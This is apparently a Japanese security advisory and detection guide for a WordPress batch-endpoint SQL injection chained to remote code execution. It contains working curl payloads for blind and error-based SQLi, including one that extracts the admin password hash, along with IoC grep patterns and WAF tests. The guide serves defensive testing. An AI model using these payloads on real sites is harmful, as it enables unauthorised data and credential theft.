根本原因
src/wp-includes/class-wp-query.php の get_posts() メソッド内、author__not_inパラメータの処理ロジックに脆弱性があった。配列の場合はabsint()で整数変換されるが、配列でない値(文字列など)が渡された場合、(array)でキャスト後にそのままSQLクエリに埋め込まれていた。
src/wp-includes/class-wp-query.php — 脆弱なコード
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
- $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
- $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
修正コミット 97b5a75 では、wp_parse_id_list() を使用して入力を常に整数リストに強制変換するロジックに置き換えられた:
src/wp-includes/class-wp-query.php — 修正後のコード
if ( ! empty( $query_vars['author__not_in'] ) ) {
+ $author__not_in_id_list = wp_parse_id_list( $query_vars['author__not_in'] );
+ if ( count( $author__not_in_id_list ) > 0 ) {
+ sort( $author__not_in_id_list );
+ $where .= sprintf(
+ " AND {$wpdb->posts}.post_author NOT IN (%s) ",
+ implode( ',', $author__not_in_id_list )
+ );
+ $query_vars['author__not_in'] = $author__not_in_id_list;
+ }
}
RCE連鎖を可能にするCVE-2026-63030の修正(コミット fa72c12)では、REST APIのserve_request()とrest_api_loaded()にis_dispatching()チェックを追加し、バッチエンドポイントのサブリクエストが誤ったRESTルートとして処理されることを防ぐ。
検出方法
Phase 1: 事前情報収集 — WordPress検出とREST API可用性確認
curl — WordPress検出とREST API可用性確認
# 1. WordPress検出(ジェネレーターメタタグ)
curl -sL "https://target.com/" | grep -oP 'content="WordPress [^"]*"'
# 出力: content="WordPress 7.0.1"
# 2. REST APIエンドポイント確認
curl -sL "https://target.com/wp-json/" | head -20
# 出力: {"namespace":"","routes":{"/":{...},"/wp/v2":{...}}}
# 3. REST APIの/usersエンドポイント公開確認
curl -sL "https://target.com/wp-json/wp/v2/users" | python3 -m json.tool | head
# 出力: [{"id":1,"name":"admin",...}]
判定基準
影響あり: WordPressバージョンが確認され、
/wp-json/ が応答を返す
Phase 2: バッチエンドポイント到達性確認
WP2Shell攻撃の唯一の入り口である /wp-json/batch/v1 の到達性をテストする。
curl — バッチエンドポイントテスト(2つのパス)
# テストA: 標準RESTパス
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests":[]}'
# 期待応答: {"code":"rest_missing_callback_param","message":...}
# テストB: クエリパラメータパス
curl -sX POST "https://target.com/?rest_route=/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests":[]}'
# 期待応答: 同上
Phase 3: バージョンフィンガープリント
| バージョン範囲 | CVE-2026-60137 (SQLi) | CVE-2026-63030 (RCE) | 修正バージョン |
| < 6.8.0 | 影響なし | 影響なし | — |
| 6.8.0 – 6.8.5 | 影響あり | 影響なし | 6.8.6 |
| 6.9.0 – 6.9.4 | 影響あり | 影響あり | 6.9.5 |
| 7.0.0 – 7.0.1 | 影響あり | 影響あり | 7.0.2 |
| 6.8.6, 6.9.5, 7.0.2+ | 修正済み | 修正済み | — |
Phase 4: SQLインジェクション検出
⚠️ 警告: 以下のテストは非破壊的(データ読み取りのみ)。本番環境で実行する場合は事前に許可を得ること。
4a: ルート混同のトリガー
curl — バッチリクエストでルート混同トリガー
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{
"requests": [
{"method": "GET", "path": "http://:malformed"},
{"method": "GET", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}}
]
}'
4b: Time-Based Blind SQLi検出
Time-Based Blind SQLi テスト
# 正常なリクエスト(ベースライン)
time curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 OR 1=1"}}
]}'
# 期待: 正常な応答時間(例: 0.3秒)
# SLEEPペイロード(5秒遅延)
time curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 AND SLEEP(5)"}}
]}'
# 脆弱な場合: 5秒+の遅延
# 修正済み: 即時応答(author__not_inが整数に強制変換される)
4c: Error-Based SQLi(MySQLエラー表示が有効な場合)
Error-Based SQLi テスト
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 UNION SELECT database()-- "}}
]}'
4d: データ抽出(管理者ハッシュ取得)
管理者パスワードハッシュ抽出ペイロード
# adminユーザーのuser_passハッシュを1文字ずつ抽出(binary search)
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=char(97,100,109,105,110) LIMIT 1),1,1))>100,SLEEP(3),1)"}}
]}'
# 遅延あり → 1文字目のASCII > 100
# 遅延なし → 1文字目のASCII <= 100
判定基準
脆弱: SLEEPペイロードで応答時間が指定秒数遅延する
修正済み: 応答時間に遅延なし(
wp_parse_id_list()で整数化されるためSQLi不可能)
Phase 5: RCE連鎖検証(非破壊)
1
バッチエンドポイント到達性確認(Phase 2) → OK
↓
2
ルート混同トリガー確認(Phase 4a) → OK
↓
↓
4
公開ユーザー列挙 → /wp-json/wp/v2/users でadminユーザーID確認
↓
5
パスワードハッシュ抽出可能か → SLEEP/UNIONベースで検証
↓
6
【非破壊】 ここで停止。実際のハッシュ抽出・クラック・ログインは実行しない
Phase 6: 侵害インジケータ(IoC)調査
WebサーバーログでのWP2Shell IoC検索
# 1. バッチエンドポイントへの不審なPOSTリクエスト
grep -E "POST.*(batch/v1|rest_route=/batch)" /var/log/nginx/access.log
# 2. malformed path(http://: または http::)を含むリクエスト
grep -E "http://:|http::" /var/log/nginx/access.log
# 3. SQLiキーワードを含むauthor_excludeパラメータ
grep -iE "SELECT|UNION|SLEEP|CHAR_LENGTH|SUBSTRING" /var/log/nginx/access.log
# 4. wp2shellプラグインアップロードの痕跡
grep -E "multipart/form-data.*wp2shell" /var/log/nginx/access.log
# 5. wp2shellプラグインディレクトリとPHPファイルの存在確認
find /var/www/*/wp-content/plugins/ -name "wp2shell*" -type f 2>/dev/null
# 6. wp2shellコマンド実行マーカー
grep -E "WP2SHELL_OUT_START|WP2SHELL_OUT_END|WP2SHELL_REMOVED" /var/log/nginx/access.log
| インジケータ | 信頼度 | 説明 |
| POST /wp-json/batch/v1 | 高 | バッチエンドポイントへのアクセス(スキャンまたは攻撃) |
| malformed http://: path | 高 | WP2Shell特有のルート混同トリガー |
| author_excludeにSELECT/SLEEP | 高 | SQLインジェクションの試行 |
| User-Agent: wp2shell-check/1.0 | 高 | wp2shellスキャナーの使用(改変可能) |
| ----wp2shell multipart境界 | 高 | PoCエクスプロイトのプラグインアップロード |
| wp-content/plugins/wp2shell-* | 高 | アップロードされた悪意あるプラグイン |
| ?tok=&c= コマンド実行 | 高 | 確認済みのコマンド実行リクエスト |
| WP2SHELL_OUT_START | 高 | コマンド出力マーカー(レスポンスボディ) |
Phase 7: WAF/防御テスト
WAFルール検証テスト
# Cloudflare WAFルールのテスト
curl -sX POST "https://target.com/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests": [
{"method":"GET","path":"http://:invalid"},
{"method":"GET","path":"/wp/v2/posts","body":{"author_exclude":"1 AND SLEEP(5)"}}
]}' -o /dev/null -w "%{http_code}"
# 403 → WAFがブロック(防御有効)
# 207 → WAFが通過(防御無効またはルール未適用)
| WAF | ルールID | テスト結果 | 判定 |
| Cloudflare Managed | 1c060d3a... | 403 Block | 防御有効 ✓ |
| Cloudflare Free | db003b39... | 403 Block | 防御有効 ✓ |
| Wordfence Premium | — | 403 Block | 防御有効 ✓ |
| Wordfence Free | — | — | 2026-08-16まで未保護 |
| WAFなし | — | 207 Multi-Status | 未保護 ✗ |
ツールとスキャナー
| ツール | タイプ | 破壊性 | 使用方法 |
| wp2shell-scanner (Python) | 非破壊スキャン | 安全 | python3 wp2shell.py https://target |
| wp2shell-exposure.yaml | Nucleiテンプレート | 安全 | nuclei -t wp2shell-exposure.yaml -u https://target |
| wp2shell.com | Searchlight チェッカー | 安全 | ブラウザでURL入力 |
| sqlmap | 自動SQLiテスト | 要注意 | sqlmap --batch -r request.txt --level=5 |
| Burp Suite | 手動テスト | 要注意 | Proxy → Repeater で手動ペイロード |
ホワイトボックステスト
ソースコード上の脆弱パターン:
grep で脆弱パターンを確認
# 脆弱バージョンのコードで grep
grep -rn "author__not_in" wp-includes/class-wp-query.php
# 修正前: (array) $query_vars['author__not_in'] が直接SQLに埋め込まれているか確認
# 修正後: wp_parse_id_list() を使用しているか確認
# 修正確認
grep -n "wp_parse_id_list.*author__not_in" wp-includes/class-wp-query.php
# 結果が存在すれば修正済み